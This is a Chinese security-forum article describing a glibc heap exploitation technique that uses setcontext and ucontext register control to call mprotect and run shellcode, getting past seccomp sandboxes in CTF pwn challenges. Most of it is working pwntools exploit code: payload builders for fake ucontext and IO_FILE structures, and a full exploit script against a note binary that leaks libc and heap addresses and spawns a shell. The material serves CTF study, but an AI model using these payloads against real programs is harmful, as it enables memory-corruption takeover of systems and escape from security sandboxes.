本文为看雪论坛精华文章
看雪论坛作者ID:我超啊
沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。
一
setcontext+53之殇
setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdx。setcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。
setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdx,rdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp。
以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx。
int
_IO_switch_to_wget_mode (FILE *fp)
{
// 编译器在处理这一段时使用 rdx
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15,靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?
二
ucontext函数族分析
研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。
int getcontext(ucontext_t *ucp);
int setcontext(const ucontext_t *ucp)
void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);
int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
getcontext用来获取用户上下文, setcontext用来设置用户上下文 makecontext操作用户上下文,可以设置执行函数,本质调用`setcontext`` swapcontext进行两个上下文的交换
ENTRY(__setcontext)
/* Save argument since syscall will destroy it. */
pushq %rdi
cfi_adjust_cfa_offset(8)
/* Set the signal mask with
rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8). */
leaq oSIGMASK(%rdi), %rsi
xorl %edx, %edx
movl $SIG_SETMASK, %edi
movl $_NSIG8,%r10d
movl $__NR_rt_sigprocmask, %eax
syscall
/* Pop the pointer into RDX. The choice is arbitrary, but
leaving RDI and RSI available for use later can avoid
shuffling values. */
popq %rdx # 这是就是 rdi 向 rdx转换的关键。
cfi_adjust_cfa_offset(-8)
cmpq $-4095, %rax /* Check %rax for error. */
jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */
/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
ldmxcsr oMXCSR(%rdx)
/* Load the new stack pointer, the preserved registers and
registers used for passing args. */
cfi_def_cfa(%rdx, 0)
cfi_offset(%rbx,oRBX)
cfi_offset(%rbp,oRBP)
cfi_offset(%r12,oR12)
cfi_offset(%r13,oR13)
cfi_offset(%r14,oR14)
cfi_offset(%r15,oR15)
cfi_offset(%rsp,oRSP)
cfi_offset(%rip,oRIP)
/* 这里往下就是 setcontext+61 的地方*/
movq oRSP(%rdx), %rsp
movq oRBX(%rdx), %rbx
movq oRBP(%rdx), %rbp
movq oR12(%rdx), %r12
movq oR13(%rdx), %r13
movq oR14(%rdx), %r14
movq oR15(%rdx), %r15
#if SHSTK_ENABLED
/* Check if shadow stack is enabled. */
testl $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET
jz L(no_shstk)
/* If the base of the target shadow stack is the same as the
base of the current shadow stack, we unwind the shadow
stack. Otherwise it is a stack switch and we look for a
restore token. */
movq oSSP(%rdx), %rsi
movq %rsi, %rdi
/* Get the base of the target shadow stack. */
movq (oSSP + 8)(%rdx), %rcx
cmpq %fs:SSP_BASE_OFFSET, %rcx
je L(unwind_shadow_stack)
L(find_restore_token_loop):
/* Look for a restore token. */
movq -8(%rsi), %rax
andq $-8, %rax
cmpq %rsi, %rax
je L(restore_shadow_stack)
/* Try the next slot. */
subq $8, %rsi
jmp L(find_restore_token_loop)
L(restore_shadow_stack):
/* Pop return address from the shadow stack since setcontext
will not return. */
movq $1, %rax
incsspq %rax
/* Use the restore stoken to restore the target shadow stack. */
rstorssp -8(%rsi)
/* Save the restore token on the old shadow stack. NB: This
restore token may be checked by setcontext or swapcontext
later. */
saveprevssp
/* Record the new shadow stack base that was switched to. */
movq (oSSP + 8)(%rdx), %rax
movq %rax, %fs:SSP_BASE_OFFSET
L(unwind_shadow_stack):
rdsspq %rcx
subq %rdi, %rcx
je L(skip_unwind_shadow_stack)
negq %rcx
shrq $3, %rcx
movl $255, %esi
L(loop):
cmpq %rsi, %rcx
cmovb %rcx, %rsi
incsspq %rsi
subq %rsi, %rcx
ja L(loop)
L(skip_unwind_shadow_stack):
movq oRSI(%rdx), %rsi
movq oRDI(%rdx), %rdi
movq oRCX(%rdx), %rcx
movq oR8(%rdx), %r8
movq oR9(%rdx), %r9
/* Get the return address set with getcontext. */
movq oRIP(%rdx), %r10
/* Setup finally %rdx. */
movq oRDX(%rdx), %rdx
/* Check if return address is valid for the case when setcontext
is invoked from __start_context with linked context. */
rdsspq %rax
cmpq (%rax), %r10
/* Clear RAX to indicate success. NB: Don't use xorl to keep
EFLAGS for jne. */
movl $0, %eax
jne L(jmp)
/* Return to the new context if return address valid. */
pushq %r10
ret
L(jmp):
/* Jump to the new context directly. */
jmp *%r10
L(no_shstk):
#endif
/* The following ret should return to the address set with
getcontext. Therefore push the address on the stack. */
movq oRIP(%rdx), %rcx
pushq %rcx
movq oRSI(%rdx), %rsi
movq oRDI(%rdx), %rdi
movq oRCX(%rdx), %rcx
movq oR8(%rdx), %r8
movq oR9(%rdx), %r9
/* Setup finally %rdx. */
movq oRDX(%rdx), %rdx
/* End FDE here, we fall into another context. */
cfi_endproc
cfi_startproc
/* Clear rax to indicate success. */
xorl %eax, %eax
ret
PSEUDO_END(__setcontext)
weak_alias (__setcontext, setcontext)
三
ucontext结构体
typedef struct ucontext_t
{
unsigned long int __ctx(uc_flags); // 1个字长
struct ucontext_t *uc_link;//1个字长
stack_t uc_stack; //3个字长
mcontext_t uc_mcontext; //操作部分1
sigset_t uc_sigmask; //操作部分2
struct _libc_fpstate __fpregs_mem; //操作部分3
__extension__ unsigned long long int __ssp[4];//操作部分4
} ucontext_t;
typedef struct
{
gregset_t __ctx(gregs);
/* Note that fpregs is a pointer. */
fpregset_t __ctx(fpregs);
__extension__ unsigned long long __reserved1 [8];
} mcontext_t;
typedef greg_t gregset_t[__NGREG];
#ifdef __USE_GNU
/* Number of each register in the `gregset_t' array. */
enum
{
REG_R8 = 0,
# define REG_R8 REG_R8
REG_R9,
# define REG_R9 REG_R9
REG_R10,
# define REG_R10 REG_R10
REG_R11,
# define REG_R11 REG_R11
REG_R12,
# define REG_R12 REG_R12
REG_R13,
# define REG_R13 REG_R13
REG_R14,
# define REG_R14 REG_R14
REG_R15,
# define REG_R15 REG_R15
REG_RDI,
# define REG_RDI REG_RDI
REG_RSI,
# define REG_RSI REG_RSI
REG_RBP,
# define REG_RBP REG_RBP
REG_RBX,
# define REG_RBX REG_RBX
REG_RDX,
# define REG_RDX REG_RDX
REG_RAX,
# define REG_RAX REG_RAX
REG_RCX,
# define REG_RCX REG_RCX
REG_RSP,
# define REG_RSP REG_RSP
REG_RIP,
# define REG_RIP REG_RIP
REG_EFL,
# define REG_EFL REG_EFL
REG_CSGSFS, /* Actually short cs, gs, fs, __pad0. */
# define REG_CSGSFS REG_CSGSFS
REG_ERR,
# define REG_ERR REG_ERR
REG_TRAPNO,
# define REG_TRAPNO REG_TRAPNO
REG_OLDMASK,
# define REG_OLDMASK REG_OLDMASK
REG_CR2
# define REG_CR2 REG_CR2
};
#endif
/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
ldmxcsr oMXCSR(%rdx)
四
一骑当千
ucontext =b''
ucontext += p64(0)*5
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址
padding = fake_io_file
payload_start_addr = fake_io_addr
# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = payload_start_addr + 0x2e8 + 0x10
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext))) # 0xe8
'''
ucontext = ucontext.ljust(0x128,b'\x00')
# 加载信号量 ,好像全是0也行 ,0x10个字长
ucontext += p64(0)*0x10
# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)
ucontext =ucontext.ljust(0x1c0,b'\x00')
# ucontext += p64(0x1f80) # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行
'''
# payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始
payload = padding + ucontext
# 0x2e8 与 __rsp相呼应
print("IO_FILE len is",hex(len(payload)))
# 自己写 shellcode
shellcode = """
"""
# largbin_attak 时需要 + 0x10
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)
payload += bytes(asm(shellcode))
五
举个栗子
struct heap_manager{
void * do_func;
heap_content * content;
}
struct heap_content{
char content[size];
}
print_note(heap_manager * heap_manager_1);
① 调用gets(heap),在heap处写入ucontext,同时在heap开头的函数处写入setcontext函数地址。
② 调用setcontext(heap)就可以直接执行想执行的内容。
from pwn import *
import pwn_script
from sys import argv
import argparse
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
menu_last_str = 'Your choice :'
add_heap_str = '1'
delete_heap_str = '2'
show_heap_str = '3'
def add_heap(size,content):
ru(menu_last_str)
sl(add_heap_str)
ru('Note size :')
s(str(size))
ru('Content :')
s(content)
def show_heap(index):
ru(menu_last_str)
sl(show_heap_str)
ru('Index :')
sl(str(index))
def delete_heap(index):
ru(menu_last_str)
sl(delete_heap_str)
ru('Index :')
sl(str(index))
def exit_pro():
ru(menu_last_str)
sl('5')
if __name__ == '__main__':
pwn_arch = 'amd64'
pwn_script.init_pwn_linux(pwn_arch)
pwnfile = './pmlnote_mc'
ip_port = '111.200.241.244:61080'
__ip = ip_port.split(":")[0]
__port = ip_port.split(":")[1]
io = process(pwnfile)
# io = remote(__ip, __port)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
context.binary = pwnfile
libcfile='/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libcfile)
'''
struct heap_manager{
void * do_func;
heap_content * content;
}
struct heap_content{
char content[size];
}
'''
system_addr = 0x4006D0
print_note_content = 0x400870
print_note = 0x407700
puts_addr =0x4006C0
heap_list = 0x6116c0
system_got = 0x611030
stdout = 0x611680
printf_sym =elf.sym["printf"]
init = 0x409AC0
add_heap(0x500,b"a"*0x10+b"/bin/sh\x00")
add_heap(0x500,"b"*0x10)
delete_heap(0)
delete_heap(1)
add_heap(0x10,p64(print_note_content)+p64(stdout))
show_heap(0)
stdout_addr = u64(ru("\n").ljust(8,b"\x00"))
libc_base_addr = stdout_addr - 0x21a780
print("libc_base_addr is :",hex(libc_base_addr))
setcontext_addr = libc_base_addr + libc.sym["setcontext"]
environ_addr = libc_base_addr +libc.sym["environ"]
gets_addr = libc_base_addr +libc.sym["gets"]
free_hook_addr = libc_base_addr +libc.sym["__free_hook"]
unsortbin_addr = libc_base_addr + 0x219ce0
mprotect_addr = libc_base_addr +libc.sym["mprotect"]
delete_heap(2)
add_heap(0x10,p64(print_note_content)+p64(heap_list))
show_heap(0)
heap_addr = u64(ru("\n").ljust(8,b"\x00")) - 0x2a0
print("heap_addr is :",hex(heap_addr))
delete_heap(3)
add_heap(0x10,p64(gets_addr)+p64(heap_addr-0x200))
show_heap(0)
ucontext =b''
ucontext += p64(setcontext_addr)+p64(0)*4
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
fake_io_addr = heap_addr + 0x2a0
# 0x2e8 下面的 print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = fake_io_addr + 0xe8
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext))) # 0xe8
payload = ucontext
print("IO_FILE len is",hex(len(payload))) # 0x2e8 与 __rsp相呼应
shellcode = asm(shellcraft.sh())
payload += p64(fake_io_addr + len(payload) + 0x8) # largbin_attak 时需要 + 0x10
payload += bytes(shellcode)
pause()
sl(payload)
show_heap(0)
itr()
六
连环战船
七
攻击方法完全体
fake_io_addr = heap_addr + 0x1390
obstack_ptr = fake_io_addr + 0x30
fake_io_file = b''
fake_io_file = fake_io_file.ljust(0x58,b'\x00')
fake_io_file += p64(setcontext_addr) # 需要执行的函数
fake_io_file += p64(0)
fake_io_file += p64(fake_io_addr+0xe8) # 执行函数的 rdi
fake_io_file += p64(1) # obstack->use_extra_arg=1
fake_io_file += p64(heap_addr+0x2000) # _IO_lock_t *_lock;
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_obstack_jumps_addr + 0x20) # 触发 _IO_obstack_xsputn;
fake_io_file += p64(obstack_ptr) # struct obstack *obstack
print(hex(len(fake_io_file))) # 因为是largebin attack 所以: 0xd8=0xe8-0x10
# pause()
# 执行函数的 rdi 的地址所存储的内容
ucontext = b''
ucontext += p64(0)*13
mprotect_len = 0x20000
tcache_thead_size = 0x290
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长
# 0x1c8 对应第256行的 print("payload len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = fake_io_addr + 0x1c0 + 0x10
__rip = mprotect_addr #execve_addr #mprotect_addr
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写
payload = fake_io_file + ucontext
print("payload len is",hex(len(payload))) # 0x1c0 与__rsp相呼应
# pause()
shellcode = asm(shellcraft.sh())
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) # largbin_attak 时需要 +0x10
payload = payload + bytes(shellcode)
# largebin_attack 攻击 house_魑魅魍魉
# 模拟只有一次写入,payload 必须在前面写入
# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式
fake_io_addr = heap_addr + 0x1390
put_stream_offset = 0x30 # put_stream 距离 fake_io 的偏移
put_stream_addr = fake_io_addr + put_stream_offset
write_target_addr = memcpy_addr
target_value_offset = 0x200 # 需要执行的函数存储的地址距离 fake_io 的偏移
target_value_addr = fake_io_addr + target_value_offset
IO_wide_data_addr = fake_io_addr + 0xe0 # len(IO_IFLE) 利用原有的宽字符
# 再一次执行到 memcpy时rdi的地址
rdi_offset = 0xf # 因为 _IO_write_ptr 会加1,此处确保内存对齐
rdi_ucontext_addr = target_value_addr + rdi_offset
# more_len > count_len > 0x20 可以再次执行 memcpy
more_len = 0x80*8 # 为什么 IO_help_jump_0_ 里面还要在右边移位2位??
count_len= 0x28 # 要大于0x20
_flags = 0x400 #_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
fake_io_file = b""
fake_io_file = fake_io_file.ljust(0x20,b'\x00')
fake_io_file += p64(_flags) # 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
fake_io_file += p64(rdi_ucontext_addr)
fake_io_file += p64(0)*2
fake_io_file += p64(write_target_addr - 0x20)
fake_io_file += p64(write_target_addr)
fake_io_file += p64(write_target_addr + count_len)
fake_io_file += p64(0)
# 用于绕过 if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行malloc
fake_io_file += p64((1<<64)-1)
fake_io_file += p64(0)*2
fake_io_file += p64(heap_addr+0x2000) #可写
fake_io_file += p64(0)*2
fake_io_file += p64(IO_wide_data_addr)
fake_io_file = fake_io_file.ljust(0xc8,b'\x00')
fake_io_file += p64(IO_help_jump_0_addr)
fake_io_file += p64(0)
fake_io_file += p64(heap_addr+0x2000) #可写
fake_io_file += p64(0)
fake_io_file += p64(target_value_addr)
fake_io_file += p64(target_value_addr + more_len)
fake_io_file += p64(IO_str_jumps_addr)
fake_io_file = fake_io_file.ljust(0x1b8,b'\x00')
fake_io_file += p64(put_stream_addr)
fake_io_file = fake_io_file.ljust(target_value_offset - 0x10,b"\x00") # largbin_attak 时需要 - 0x10
# 需要执行的函数是 setcontext,距离 fake_io 的偏移为 target_value_offset
fake_io_file += p64(setcontext_addr) + p64(0) # 此段长度为 0x10 与 rdi_offset 对应
ucontext =b""
ucontext += p64(0)*13
mprotect_len = 0x20000
tcache_thead_size = 0x290
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
# heap_addr + tcache_thead_size + 0x10000 # systm 栈帧务必要足够长
# 0x2e8 下面的 print("payload len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = fake_io_addr + 0x2e8 + 0x10
__rip = mprotect_addr #execve_addr #mprotect_addr
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000) # fldenv [rcx] 加载浮点环境,需要可写
payload = fake_io_file + ucontext
print("payload len is",hex(len(payload))) # 0x2e8 与__rsp相呼应
shellcode = asm(shellcraft.sh())
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10) # largbin_attak 时需要 + 0x10
payload += bytes(shellcode)
看雪ID:我超啊
https://bbs.kanxue.com/user-home-894406.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!